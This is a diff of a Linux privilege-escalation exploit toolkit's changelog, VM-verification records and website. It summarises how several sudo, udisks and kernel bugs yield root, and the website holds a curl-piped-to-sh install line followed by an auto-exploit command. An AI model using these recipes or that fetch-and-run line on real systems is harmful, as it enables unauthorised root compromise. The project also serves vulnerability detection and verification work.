Applied `tools/refresh-kernel-ranges.py --patch` recommendations
|
||||||
|
across:
|
||||||
|
|
||||||
|
- `cgroup_release_agent` — `{5,16,9}` → `{5,16,7}`
|
||||||
|
- `cls_route4` — `{5,10,143}` → `{5,10,136}`, `{5,18,18}` → `{5,18,16}`
|
||||||
|
- `dirty_cow` — `{4,7,10}` → `{4,7,8}`
|
||||||
|
- `dirty_pipe` — `{5,10,102}` → `{5,10,92}`
|
||||||
|
- `fragnesia` — `{6,12,91}` → `{6,12,90}`, `{7,0,10}` → `{7,0,9}`
|
||||||
|
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
|
||||||
|
- `mutagen_astronomy` — added `{4,12,6}` backport entry
|
||||||
|
- `netfilter_xtcompat` — `{5,10,46}` → `{5,10,38}`
|
||||||
|
- `overlayfs_setuid` — `{6,1,27}` → `{6,1,11}`
|
||||||
|
- `pintheft` — added `{6,12,90}` Debian-trixie entry
|
||||||
|
- `ptrace_traceme` — `{4,19,58}` → `{4,19,37}`
|
||||||
|
- `sequoia` — `{5,10,52}` → `{5,10,46}`
|
||||||
|
- `tioscpgrp` — added `{5,9,15}` backport entry
|
||||||
|
|
||||||
|
All changes are correctness-improving (no kernel that was previously
|
||||||
|
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
|
||||||
|
stop false-positiving on kernels that Debian has on record as patched).
|
||||||
|
|
||||||
|
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
|
||||||
|
MISSING.
|
||||||
|
|
||||||
|
Also enabled `workflow_dispatch` on the build workflow so the
|
||||||
|
drift-check job can be manually triggered without waiting for the
|
||||||
|
weekly Monday-06:00-UTC cron.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
|
||||||
|
|
||||||
|
Quality-of-life follow-ups from the v0.9.3 review:
|
||||||
|
|
||||||
|
**Nightly CI drift-check unblocked.** v0.9.3's hand-applied
|
||||||
|
`core/cve_metadata.c` entries weren't reflected in
|
||||||
|
`docs/CVE_METADATA.json`, so the scheduled `build` workflow had
|
||||||
|
been red since 2026-05-25 even though push-triggered runs passed.
|
||||||
|
Regenerated both via the canonical script. Pintheft's CWE landed
|
||||||
|
as CWE-787 (NVD-derived) — previously NULL.
|
||||||
|
|
||||||
|
**fragnesia module range table corrected.** Same audit pattern that
|
||||||
|
found the dirtydecrypt bug in v0.9.3. NVD CVE-2026-46300 confirms
|
||||||
|
the SKBFL_SHARED_FRAG marker was introduced at 5.11 and the bug
|
||||||
|
spans every stable branch since. Previous range table had one entry
|
||||||
|
(`{7, 0, 9}`) — off-by-one against NVD's 7.0.10 fix point and
|
||||||
|
missing every other backport. Now models 6 backports + predates-5.11
|
||||||
|
introduction gate:
|
||||||
|
|
||||||
|
```c
|
||||||
|
{5, 15, 208}, /* 5.15-LTS */
|
||||||
|
{6, 1, 174}, /* 6.1-LTS */
|
||||||
|
{6, 6, 141}, /* 6.6-LTS */
|
||||||
|
{6, 12, 91}, /* 6.12-LTS */
|
||||||
|
{6, 18, 33}, /* 6.18-LTS */
|
||||||
|
{7, 0, 10}, /* 7.0 */
|
||||||
|
```
|
||||||
|
|
||||||
|
Test row added for the predates path (kernel 4.4 → OK).
|
||||||
|
|
||||||
|
**`tools/verify-vm/README.md` brought current.** The README was
|
||||||
|
written for the v0.6-era apt-pin-only workflow. Now documents the
|
||||||
|
v0.9.x infrastructure: mainline kernel pinning via
|
||||||
|
kernel.ubuntu.com, per-module provisioners
|
||||||
|
(`provisioners/<module>.sh`), two-phase prep→reboot→verify with
|
||||||
|
post-reboot kernel confirmation, GRUB_DEFAULT pinning in both apt
|
||||||
|
and mainline blocks.
|
||||||
|
|
||||||
|
**NVD lookups in `refresh-cve-metadata.py` get a curl fallback.**
|
||||||
|
v0.9.3 ran into Python's `urlopen` silently hanging on NVD's HTTP/2
|
||||||
|
endpoint (55-min process with the 30s timeout never firing — kernel
|
||||||
|
CLOSE_WAIT socket). The CISA path already had a curl fallback; the
|
||||||
|
NVD path now mirrors it. Future runs degrade gracefully when
|
||||||
|
urlopen wedges.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||||
|
|
||||||
|
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||||
|
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||||
|
Two of them are CISA-KEV-listed:
|
||||||
|
|
||||||
|
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||||
|
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||||
|
|
||||||
|
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||||
|
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||||
|
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||||
|
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||||
|
|
||||||
|
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||||
|
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||||
|
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||||
|
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||||
|
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||||
|
|
||||||
|
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||||
|
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||||
|
|
||||||
|
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||||
|
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||||
|
it returned OK there — a false negative that would have lied to anyone
|
||||||
|
running scan on a real vulnerable kernel.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||||
|
|
||||||
|
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||||
|
end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
|
||||||
|
OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
|
||||||
|
goes 27 → 28.
|
||||||
|
|
||||||
|
Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
|
||||||
|
.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
|
||||||
|
introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
|
||||||
|
provider has those libs yet — `dpkg --force-depends` leaves the kernel
|
||||||
|
package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
|
||||||
|
`manual: true` with rationale in `targets.yaml`. Resolvable when a
|
||||||
|
Parallels-supported ubuntu2404 / debian13 box becomes available.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
|
||||||
|
|
||||||
|
Five more CVEs empirically confirmed end-to-end against real Linux VMs
|
||||||
|
via `tools/verify-vm/`:
|
||||||
|
|
||||||
|
| CVE | Module | Target environment |
|
||||||
|
|---|---|---|
|
||||||
|
| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
|
||||||
|
| CVE-2020-29661 | `tioscpgrp` | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
|
||||||
|
| CVE-2024-26581 | `nft_pipapo` | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
|
||||||
|
| CVE-2025-32463 | `sudo_chwoot` | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
|
||||||
|
| CVE-2025-6019 | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
|
||||||
|
|
||||||
|
Footer goes from `22 empirically verified` → `27 empirically verified`.
|
||||||
|
|
||||||
|
### Verifier infrastructure (the why)
|
||||||
|
|
||||||
|
These verifications required real plumbing work that didn't exist before:
|
||||||
|
|
||||||
|
- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
|
||||||
|
— per-target setup that doesn't belong in the Vagrantfile (build sudo
|
||||||
|
from source, install udisks2 + polkit rule, drop a sudoers grant) now
|
||||||
|
lives in checked-in scripts that re-run idempotently on every verify.
|
||||||
|
- **Two-phase provisioning** in `verify.sh` — prep provisioners run
|
||||||
|
first (install kernel, set grub default, drop polkit rule), then a
|
||||||
|
conditional reboot if `uname -r` doesn't match the target, then the
|
||||||
|
verifier proper. Fixes the silent-fail where the new kernel was
|
||||||
|
installed but the VM never actually rebooted into it.
|
||||||
|
- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
|
||||||
|
without this, grub's debian-version-compare picks the highest-sorting
|
||||||
|
vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
|
||||||
|
stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
|
||||||
|
- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
|
||||||
|
debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
|
||||||
|
|
||||||
|
### Honest residuals — 7 of 34 still unverified
|
||||||
|
|
||||||
|
| Module | Why not verified |
|
||||||
|
|---|---|
|
||||||
|
| `vmwgfx` | needs a VMware guest; we're on Parallels |
|
||||||
|
| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
|
||||||
|
| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
|
||||||
|
| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
|
||||||
|
| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
|
||||||
|
| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
|
||||||
|
|
||||||
|
All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
|
||||||
|
and a rationale.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
|
||||||
|
|
||||||
|
Five gap-filling modules. Closes the 2018 hole entirely and thickens
|
||||||
|
2019 / 2020 / 2024.
|
||||||
|
|
||||||
|
### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
|
||||||
|
|
||||||
|
Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
|
||||||
|
multi-GiB argv blob makes the kernel under-allocate the SUID
|
||||||
|
carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
|
||||||
|
Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
|
||||||
|
8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
|
||||||
|
Qualys' full chain not bundled per verified-vs-claimed).
|
||||||
|
`arch_support: x86_64+unverified-arm64`.
|
||||||
|
|
||||||
|
### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
|
||||||
|
|
||||||
|
`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
|
||||||
|
as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
|
||||||
|
"ALL except root". Pure userspace logic bug; the famous Apple
|
||||||
|
Information Security finding. detect() looks for a `(ALL,!root)`
|
||||||
|
grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
|
||||||
|
|
||||||
|
### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
|
||||||
|
|
||||||
|
TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
|
||||||
|
kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
|
||||||
|
(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
|
||||||
|
+ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
|
||||||
|
|
||||||
|
### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
|
||||||
|
|
||||||
|
AF_VSOCK `connect()` races a POSIX signal that tears down the
|
||||||
|
virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
|
||||||
|
2025 winner.** Reachable as plain unprivileged user (no userns
|
||||||
|
required — unusual). Two public exploit paths: @v4bel + @qwerty
|
||||||
|
kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
|
||||||
|
msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
|
||||||
|
`arch_support: x86_64+unverified-arm64`.
|
||||||
|
|
||||||
|
### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
|
||||||
|
|
||||||
|
`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
|
||||||
|
(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
|
||||||
|
different specific bug in the pipapo set substrate. Same family
|
||||||
|
detect signature. 🟡 PRIMITIVE.
|
||||||
|
`arch_support: x86_64+unverified-arm64`.
|
||||||
|
|
||||||
|
### Year-by-year coverage matrix
|
||||||
|
|
||||||
|
```
|
||||||
|
2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2
|
||||||
|
2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4
|
||||||
|
2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8
|
||||||
|
2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ←
|
||||||
|
2020: ▓▓ 2 ←
|
||||||
|
```
|
||||||
|
|
||||||
|
Every year 2016 → 2026 is now ≥1.
|
||||||
|
|
||||||
|
### Corpus growth
|
||||||
|
|
||||||
|
| | v0.8.0 | v0.9.0 |
|
||||||
|
|---|---|---|
|
||||||
|
| Modules registered | 34 | 39 |
|
||||||
|
| Distinct CVEs | 29 | 34 |
|
||||||
|
| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
|
||||||
|
| Detection rules embedded | 131 | 151 |
|
||||||
|
| Arch-independent (`any`) | 6 | 7 |
|
||||||
|
| VM-verified | 22 | 22 |
|
||||||
|
|
||||||
|
### Other changes
|
||||||
|
|
||||||
|
- All 5 new modules ship complete detection-rule corpus
|
||||||
|
(auditd + sigma + yara + falco) — corpus stays at 4-format
|
||||||
|
parity with the rest of the modules.
|
||||||
|
- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
|
||||||
|
takes ~4 minutes due to NVD anonymous rate limit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
|
||||||
|
|
||||||
|
Closes the 2025 coverage gap. Three new modules from CVEs disclosed
|
||||||
|
2025–2026, all with public PoC code we ported into proper
|
||||||
|
SKELETONKEY modules:
|
||||||
|
|
||||||
|
### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
|
||||||
|
|
||||||
|
Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
|
||||||
|
into a user-controlled directory before completing authorization +
|
||||||
|
resolves user/group via NSS inside the chroot. Plant a malicious
|
||||||
|
`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
|
||||||
|
the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
|
||||||
|
1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
|
||||||
|
`arch_support: any` (pure userspace).
|
||||||
|
|
||||||
|
### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
|
||||||
|
|
||||||
|
udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
|
||||||
|
filesystem-resize/repair mount path omits `MS_NOSUID` and
|
||||||
|
`MS_NODEV`. udisks2 gates the operation on polkit's
|
||||||
|
`org.freedesktop.UDisks2.modify-device` action, which is
|
||||||
|
`allow_active=yes` by default → any active console session user can
|
||||||
|
trigger it without a password. Build an ext4 image with a SUID-root
|
||||||
|
shell inside, get udisks to mount it, execute the SUID shell.
|
||||||
|
Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
|
||||||
|
|
||||||
|
### CVE-2026-43494 — `pintheft` (V12 Security)
|
||||||
|
|
||||||
|
Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
|
||||||
|
pins user pages one at a time; if a later page faults, the error
|
||||||
|
unwind drops the already-pinned pages, but the msg's scatterlist
|
||||||
|
cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
|
||||||
|
one pin refcount. Chain via io_uring fixed buffers to overwrite the
|
||||||
|
page cache of a readable SUID binary → execve → root. Mainline fix
|
||||||
|
commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
|
||||||
|
distros only **Arch Linux** autoloads the rds module — Ubuntu /
|
||||||
|
Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
|
||||||
|
build it or blacklist autoload. `detect()` correctly returns OK
|
||||||
|
on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
|
||||||
|
status: primitive fires; full cred-overwrite via the shared
|
||||||
|
modprobe_path finisher requires `--full-chain` on x86_64.
|
||||||
|
|
||||||
|
### Corpus growth
|
||||||
|
|
||||||
|
| | v0.7.1 | v0.8.0 |
|
||||||
|
|---|---|---|
|
||||||
|
| Modules registered | 31 | 34 |
|
||||||
|
| Distinct CVEs | 26 | 29 |
|
||||||
|
| 2025-CVE coverage | 0 | 2 |
|
||||||
|
| Detection rules embedded | 119 | 131 |
|
||||||
|
| Arch-independent (`any`) | 4 | 6 |
|
||||||
|
| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
|
||||||
|
| VM-verified | 22 | 22 |
|
||||||
|
|
||||||
|
### Other changes
|
||||||
|
|
||||||
|
- `tools/refresh-cve-metadata.py` — added curl fallback for the
|
||||||
|
CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
|
||||||
|
CISA's HTTP/2 endpoint).
|
||||||
|
- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
|
||||||
|
with honest "no Vagrant box covers this yet" notes for
|
||||||
|
pintheft (needs Arch) and udisks_libblockdev (needs active
|
||||||
|
console session + udisks2 installed).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
|
||||||
|
|
||||||
|
Point release on top of v0.7.0. Two additions:
|
||||||
|
|
||||||
|
1. **`skeletonkey-arm64-static`** is now published alongside the
|
||||||
|
existing x86_64-static binary. Built native-arm64 in Alpine via
|
||||||
|
GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
|
||||||
|
Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
|
||||||
|
and any other aarch64 Linux. `install.sh` auto-picks it.
|
||||||
|
|
||||||
|
2. **`arch_support` per module** — a new field on
|
||||||
|
`struct skeletonkey_module` that honestly labels which architectures
|
||||||
|
the `exploit()` body has been verified on. Three categories:
|
||||||
|
|
||||||
|
- **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
|
||||||
|
pack2theroot. Purely userspace; arch-independent.
|
||||||
|
- **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
|
||||||
|
x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
|
||||||
|
Already gated in source — returns PRECOND_FAIL on non-x86_64.
|
||||||
|
- **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
|
||||||
|
code that hasn't been verified on arm64 yet. `detect()` works
|
||||||
|
everywhere (it just reads `ctx->host`); the `exploit()` body uses
|
||||||
|
primitives (msg_msg sprays, ROP-style finishers, specific struct
|
||||||
|
offsets) that are likely portable to aarch64 but unproven.
|
||||||
|
|
||||||
|
`--list` adds an ARCH column; `--module-info` adds an `arch support:`
|
||||||
|
line; `--scan --json` adds an `arch_support` field per module.
|
||||||
|
|
||||||
|
**What an arm64 user gets today:** the full detection/triage workflow
|
||||||
|
works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
|
||||||
|
`--detect-rules`, `--auto --dry-run`). Four exploit modules
|
||||||
|
(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
|
||||||
|
end-to-end. The remaining 26 modules currently mark themselves as
|
||||||
|
"x86_64 verified; arm64 untested" — the bug class is generic but the
|
||||||
|
exploitation hasn't been confirmed. Future arm64-Vagrant verification
|
||||||
|
sweeps will promote modules to `any` as they're confirmed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### From v0.7.0 — empirical verification + operator briefing
|
||||||
|
|
||||||
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
||||||
confirmed against real Linux kernels in VMs**, with verification records
|
confirmed against real Linux kernels in VMs**, with verification records
|
||||||
|
|||||||
@@ -28,3 +28,9 @@
|
|||||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||||
|
|||||||
+1
-1
@@ -10,7 +10,7 @@
|
|||||||
* 1. typed install command in the hero
|
* 1. typed install command in the hero
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
const installCmd =
|
const installCmd =
|
||||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know';
|
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||||
const typedEl = document.getElementById('install-typed');
|
const typedEl = document.getElementById('install-typed');
|
||||||
const cursorEl = document.getElementById('install-cursor');
|
const cursorEl = document.getElementById('install-cursor');
|
||||||
|
|
||||||
|
|||||||
+30
-24
@@ -4,16 +4,16 @@
|
|||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||||
<meta name="description" content="One binary. 31 Linux privilege-escalation modules from 2016 to 2026. 22 of 26 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 119 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
<meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||||
<meta property="og:description" content="31 Linux LPE modules; 22 of 26 CVEs empirically verified in real VMs. 119 detection rules. ATT&CK + CWE + KEV annotated.">
|
<meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||||
<meta property="og:type" content="website">
|
<meta property="og:type" content="website">
|
||||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||||
<meta property="og:image:width" content="1200">
|
<meta property="og:image:width" content="1200">
|
||||||
<meta property="og:image:height" content="630">
|
<meta property="og:image:height" content="630">
|
||||||
<meta name="twitter:card" content="summary_large_image">
|
<meta name="twitter:card" content="summary_large_image">
|
||||||
<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
<meta name="twitter:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||||
<meta name="theme-color" content="#0a0a14">
|
<meta name="theme-color" content="#0a0a14">
|
||||||
|
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
@@ -56,16 +56,16 @@
|
|||||||
<div class="container hero-inner">
|
<div class="container hero-inner">
|
||||||
<div class="hero-eyebrow">
|
<div class="hero-eyebrow">
|
||||||
<span class="dot dot-pulse"></span>
|
<span class="dot dot-pulse"></span>
|
||||||
v0.6.0 — released 2026-05-23
|
v0.9.11 — released 2026-06-08
|
||||||
</div>
|
</div>
|
||||||
<h1 class="hero-title">
|
<h1 class="hero-title">
|
||||||
<span class="display-wordmark">SKELETONKEY</span>
|
<span class="display-wordmark">SKELETONKEY</span>
|
||||||
</h1>
|
</h1>
|
||||||
<p class="hero-tag">
|
<p class="hero-tag">
|
||||||
One binary. <strong>31 Linux LPE modules</strong> from 2016 to 2026.
|
One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
|
||||||
<strong>22 of 26 CVEs empirically verified</strong> against real
|
<strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
|
||||||
Linux kernels in VMs. SOC-ready detection rules in four SIEM formats.
|
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||||
MITRE ATT&CK + CWE + CISA KEV annotated.
|
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -81,10 +81,10 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="stats-row" id="stats-row">
|
<div class="stats-row" id="stats-row">
|
||||||
<div class="stat-chip"><span class="num" data-target="31">0</span><span>modules</span></div>
|
<div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
|
||||||
<div class="stat-chip stat-vfy"><span class="num" data-target="22">0</span><span>✓ VM-verified</span></div>
|
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||||
<div class="stat-chip stat-kev"><span class="num" data-target="10">0</span><span>★ in CISA KEV</span></div>
|
